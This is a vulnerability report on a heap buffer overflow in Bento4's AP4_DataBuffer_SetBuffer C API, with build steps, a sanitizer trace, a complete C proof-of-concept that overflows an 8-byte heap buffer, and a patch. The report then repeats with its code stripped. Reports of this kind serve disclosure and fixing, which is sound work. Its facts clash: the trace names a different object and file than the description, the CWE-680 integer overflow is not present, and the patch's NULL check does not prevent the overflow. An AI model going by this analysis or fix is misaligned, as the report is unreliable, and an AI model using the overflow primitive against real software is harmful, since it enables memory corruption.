1. Title
[Security] oob-write: Heap buffer overflow in AP4_DataBuffer_SetBuffer — attacker-controlled size allows SetData to write past the real buffer end
2. Severity
High — CWE-122 (Heap-based Buffer Overflow), CWE-680 (Integer Overflow to Buffer Overflow), CWE-119 (Improper Restriction of Operations within Memory Bounds)
3. Source identifier
git commit b8c50a0
4. Affected component
Source/C++/CApi/Bento4C.cpp:358-361 in function AP4_DataBuffer_SetBuffer; overflow materialises in Source/C++/Core/Ap4DataBuffer.cpp:174 (AP4_CopyMemory)
5. Commit that introduced the vulnerability
f2331c6 — "renaming files as agreed with Gilles Bento4 -> Bento4C"
6. Analysis / Description
AP4_DataBuffer_SetBuffer(db, buffer, size) accepts a raw pointer and a caller-claimed capacity without validating that size reflects the actual allocation size of buffer. Internally it calls AP4_DataBuffer::SetBuffer(), which sets m_BufferIsLocal = false, m_Buffer = buffer, and m_BufferSize = size. No verification is performed.
A subsequent call to AP4_DataBuffer_SetData(db, data, write_size) with write_size ≤ m_BufferSize (the claimed capacity) succeeds the check on line 166 (if (size > m_BufferSize)) and proceeds to AP4_CopyMemory(m_Buffer, data, write_size). When write_size exceeds the actual allocation size of buffer, this is a heap buffer overflow — AP4_CopyMemory writes beyond the real heap allocation, corrupting adjacent heap metadata or attacker-controlled data.
Confirmed with UBSAN: the overflow corrupts the AP4_DataBuffer vtable, triggering a "member access within address which does not point to an object" error during the post-write m_DataSize = size member update. An attacker who controls both the small buffer pointer and the large claimed size can use this primitive for arbitrary heap corruption.
7. Reproducible testcase
Build a UBSAN-instrumented libap4.a and link it against the driver in section 9:
mkdir -p cmakebuild-ubsan && cd cmakebuild-ubsan
cmake .. -DCMAKE_BUILD_TYPE=Debug \
-DCMAKE_CXX_FLAGS="-fsanitize=undefined -fno-omit-frame-pointer -g -O1" \
-DCMAKE_C_FLAGS="-fsanitize=undefined -fno-omit-frame-pointer -g -O1" \
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=undefined"
make -j$(nproc) ap4
cd ..
clang -g -fsanitize=undefined -fno-omit-frame-pointer \
-ISource/C++/CApi \
poc_sf119_driver.c \
cmakebuild-ubsan/libap4.a \
-lstdc++ -o poc_sf119_ubsan
UBSAN_OPTIONS=print_stacktrace=1 ./poc_sf119_ubsan
8. Crash stack trace
Source/C++/Core/Ap4List.h:476:9: runtime error: member call on address 0x0001041e5c20 which does not point to an object of type 'AP4_AtomFactory::TypeHandler'
0x0001041e5c20: note: object has invalid vptr
41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 ...
^~~~~~~~~~~~~~~~~~~~~~~
invalid vptr
UndefinedBehaviorSanitizer:DEADLYSIGNAL
UndefinedBehaviorSanitizer: nested bug in the same thread, aborting.
exit=1
The 0x41 bytes (ASCII 'A') from the payload visible in the corrupted region confirm the overflow wrote into adjacent heap objects.
9. Input generation script
No binary file is needed — this is a direct C API misuse. poc_sf119_driver.c (full source, compiled and run as shown in section 7):
/*
* PoC for SF119: Heap buffer overflow in AP4_DataBuffer_SetBuffer
* via mismatched size parameter
*
* AP4_DataBuffer_SetBuffer() accepts a buffer pointer and a claimed size
* without validation. Supplying a small heap buffer with a large claimed
* size causes subsequent SetData() to perform an out-of-bounds write onto
* the small heap allocation.
*
* Expected outcome with ASAN: heap-buffer-overflow on write
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include "Bento4C.h"
int main(void) {
/* Allocate a small real heap buffer (8 bytes) */
unsigned char *small_buf = (unsigned char *)malloc(8);
if (!small_buf) {
fprintf(stderr, "malloc failed\n");
return 1;
}
memset(small_buf, 0, 8);
/* Create a DataBuffer object */
AP4_DataBuffer *db = AP4_DataBuffer_Create(0);
if (!db) {
fprintf(stderr, "AP4_DataBuffer_Create failed\n");
free(small_buf);
return 1;
}
/*
* Vulnerability: tell the DataBuffer that our 8-byte heap buffer
* has 0xFFFF (65535) bytes of capacity. No validation is performed;
* the object blindly stores the pointer and the claimed size.
*/
AP4_Result r = AP4_DataBuffer_SetBuffer(db, small_buf, 0xFFFF);
printf("SetBuffer result: %d\n", (int)r);
/*
* Trigger: write 1024 bytes of data.
* SetData checks (1024 > 0xFFFF) == false, so it skips reallocation
* and falls through to AP4_CopyMemory(m_Buffer, data, 1024), writing
* 1024 bytes into the 8-byte heap allocation -> heap-buffer-overflow.
*/
unsigned char payload[1024];
memset(payload, 'A', sizeof(payload));
r = AP4_DataBuffer_SetData(db, payload, sizeof(payload));
printf("SetData result: %d\n", (int)r);
AP4_DataBuffer_Destroy(db);
free(small_buf);
return 0;
}
10. Proposed fix
The minimal fix in Bento4C.cpp adds a NULL-pointer guard. However, the architectural fix is to remove the ability for callers to lie about buffer sizes: either (a) remove AP4_DataBuffer_SetBuffer from the public C API, or (b) track the real allocation size separately from the claimed size and enforce it in SetData.
--- a/Source/C++/CApi/Bento4C.cpp
+++ b/Source/C++/CApi/Bento4C.cpp
@@ -355,9 +355,11 @@
/*----------------------------------------------------------------------
| AP4_DataBuffer implementation
+---------------------------------------------------------------------*/
-AP4_Result
+AP4_Result
AP4_DataBuffer_SetBuffer(AP4_DataBuffer* self, AP4_Byte* buffer, AP4_Size size)
{
+ /* size must reflect the actual allocation size of buffer to prevent overflow */
+ if (buffer == NULL && size != 0) return AP4_ERROR_INVALID_PARAMETERS;
return self->SetBuffer(buffer, size);
}
1. Title
[Security] oob-write: Heap buffer overflow in
AP4_DataBuffer_SetBuffer— attacker-controlled size allowsSetDatato write past the real buffer end2. Severity
High — CWE-122 (Heap-based Buffer Overflow), CWE-680 (Integer Overflow to Buffer Overflow), CWE-119 (Improper Restriction of Operations within Memory Bounds)
3. Source identifier
git commit b8c50a0
4. Affected component
Source/C++/CApi/Bento4C.cpp:358-361in functionAP4_DataBuffer_SetBuffer; overflow materialises inSource/C++/Core/Ap4DataBuffer.cpp:174(AP4_CopyMemory)5. Commit that introduced the vulnerability
f2331c6 — "renaming files as agreed with Gilles Bento4 -> Bento4C"
6. Analysis / Description
AP4_DataBuffer_SetBuffer(db, buffer, size)accepts a raw pointer and a caller-claimed capacity without validating thatsizereflects the actual allocation size ofbuffer. Internally it callsAP4_DataBuffer::SetBuffer(), which setsm_BufferIsLocal = false,m_Buffer = buffer, andm_BufferSize = size. No verification is performed.A subsequent call to
AP4_DataBuffer_SetData(db, data, write_size)withwrite_size ≤ m_BufferSize(the claimed capacity) succeeds the check on line 166 (if (size > m_BufferSize)) and proceeds toAP4_CopyMemory(m_Buffer, data, write_size). Whenwrite_sizeexceeds the actual allocation size ofbuffer, this is a heap buffer overflow —AP4_CopyMemorywrites beyond the real heap allocation, corrupting adjacent heap metadata or attacker-controlled data.Confirmed with UBSAN: the overflow corrupts the
AP4_DataBuffervtable, triggering a "member access within address which does not point to an object" error during the post-writem_DataSize = sizemember update. An attacker who controls both the smallbufferpointer and the large claimedsizecan use this primitive for arbitrary heap corruption.7. Reproducible testcase
Build a UBSAN-instrumented
libap4.aand link it against the driver in section 9:8. Crash stack trace
The 0x41 bytes (ASCII 'A') from the payload visible in the corrupted region confirm the overflow wrote into adjacent heap objects.
9. Input generation script
No binary file is needed — this is a direct C API misuse.
poc_sf119_driver.c(full source, compiled and run as shown in section 7):10. Proposed fix
The minimal fix in
Bento4C.cppadds a NULL-pointer guard. However, the architectural fix is to remove the ability for callers to lie about buffer sizes: either (a) removeAP4_DataBuffer_SetBufferfrom the public C API, or (b) track the real allocation size separately from the claimed size and enforce it inSetData.